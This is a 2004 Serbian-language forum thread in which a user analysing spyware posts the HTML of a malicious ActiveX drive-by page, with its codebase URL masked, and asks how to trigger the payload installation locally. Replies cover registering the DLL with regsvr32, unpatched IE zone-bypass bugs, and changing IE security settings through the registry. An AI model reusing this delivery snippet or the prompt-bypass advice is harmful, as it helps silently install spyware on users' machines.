ACtiveX manualna instalacija

ACtiveX manualna instalacija 14.12.2004. u 03:47 · pre 266 meseci #1

Istrazio sam jedan spyware i neke stvari mi nisu jasne.. Evo ovako otprilike izgleda HTML stranica sa stetnom ActiveX kontrolom...

Code:

<html><head></head>
<body>
<object
id='Client1' width=1 height=1
classid='clsid:15AD4789-CDB4-47E1-A9DA-992EE8E6BAD6'
codebase='http://wi****s.com/get_file.ph...*:****57d857#version=1,0,0,117'>
<param name='param' value='91d7785*...*:*...*366646265'>
</object>

</body></html>

Nakon sto se ovaj kod pokrene, pitace "Do you wish to install bla....", i kad kliknem YES, on instalira NEKOLIKO EXE fajlova u pozadini...

Medjutim....
Kad se manualno u IExploreru otvori 'http://wi****s.com/get_file.ph...*:****57d857#version=1,0,0,117'
Otvori se Save As dialog, "Do you wish to save file1.cab"... Normalno, downloadovao sam ga, i unutar tog CAB fajla, nasao sam SAMO spyware.dll...

E, mene sad zanima, kako bih ja "pokrenuo" ovaj CAB fajl lokalno da bi se svi ti programi instalirali isto kao kad se ide preko ActiveX popup-a i klikne YES?!?

Potpis

Sale_®

Re: ACtiveX manualna instalacija 14.12.2004. u 15:09 · pre 266 meseci #2

Evo kako to u stvari radi. IE, kad naidje na onakav html kod, ako postoji intaliran taj .dll on pravi COM objekat iz njega. Taj objekat ima sve moguce dozvole na racunaru koje i IE (pisanje/brisanje po disku i sl.). On je taj koji download-uje te .exe fajlove i pokrece ih.

Ako imas .dll registrujes ga sa

c:\>regsvr32.exe imefajla.dll

Kada ga jednom instaliras nece iskakati nikakav popup (iako to i nije popup, al' ajd') vec ce raditi kad god naidjes na takvu html stranu.

Potpis

Nebojsa Milanovic:
-Trumpa smatram vrhunskim predsednikom i voleo bih da živim u državi na čijem je on čelu
-Rusija ne laže, ne vodi osvajačke ratove
-Trump je svetla tačka u USA blatu
-Elon Musk, možda najpametniji i najtrezveniji Amerikanac

Re: ACtiveX manualna instalacija 15.12.2004. u 05:43 · pre 266 meseci #3

Jok, nece da radi.. To sam prvo probao... registrovao sam DLL manualno, al nista.. Kad pokrenem HTML fajl sa tim kodom, opet mi se pojavi ACtiveX security warning..
Mada mozda nisam nesto dobro shvatio posto je kod dosta velik...
Evo,uploadujem kompletan primer pa ako imas VMware, probaj....

Potpis

Sale_®

activex.zip5.44k

Re: ACtiveX manualna instalacija 15.12.2004. u 05:57 · pre 266 meseci #4

Je li imas SP2 na toj virtualnoj masini na kojoj testiras?

Re: ACtiveX manualna instalacija 15.12.2004. u 06:54 · pre 266 meseci #5

Jok, obicna default instalacija XP SP2-Pro instalirana na VMware.. Gledao sam malo form.php code, i ovo sto vidis vezano za sp2 se pojavljuje samo u slucaju da JavaScript otkrije da je rec o SP2...

Potpis

Sale_®

Re: ACtiveX manualna instalacija 15.12.2004. u 07:09 · pre 266 meseci #6

Kako mislis i "Jok" i "instalacija xp SP2". Pa zar "jok" ne znaci "ne"? :)

SP2 puno toga steze oko sistema, pogedaj malo opcije u IE->Tools->Internet Options->Security->Custom i postavke vezane za ActiveX. Moguce je da lokalno skinuti fajlovi imaju razlicita sigurnosna ogranicenja od onih koji su direktno "pokrenuti" iz browsera, pokusaj skuziti u kojoj je postavci caka.

Re: ACtiveX manualna instalacija 15.12.2004. u 07:16 · pre 266 meseci #7

jebiga.. 7 ujutro..
Mislio sam reci obican XP Pro(valjda je to SP1)...
Znaci, defaultna instalacija, bez ijednog patcha...

Ako se ne nadje resenje ovim putem, da li postoji neki nacin da se pomocu scripta ili tako neceg, promene security settings u IEu??

Potpis

Sale_®

Re: ACtiveX manualna instalacija 15.12.2004. u 07:22 · pre 266 meseci #8

Mislim da ce ti i onda iskociti dijalog o potvrdi... Ali ako ciljas na BAS DEFAULTNU SP1 instalaciju bez ikakvih zakrpa, onda imas masu bugova kojim mozes zaobici Internet Zone :) Saraj malo po bugtraq listama, Guninski is your new best friend :)

Re: ACtiveX manualna instalacija 15.12.2004. u 18:43 · pre 266 meseci #9

Sto se tice IE exploita, pratim bas svaki koji se pojavio, i tu nije cilj da se zaobice zona.. Ima samo jedan exploit vredan paznje a to je IEchromless(google), medjutim ni on ne sluzi ovoj svrsi...
Mislim da pomocu regedita mogu da izmenim security settings, ili disablujem ActiveX... S tim cu sad da se cimam...

Potpis

Sale_®

Forum kao aplikacija na telefonu

Srodne teme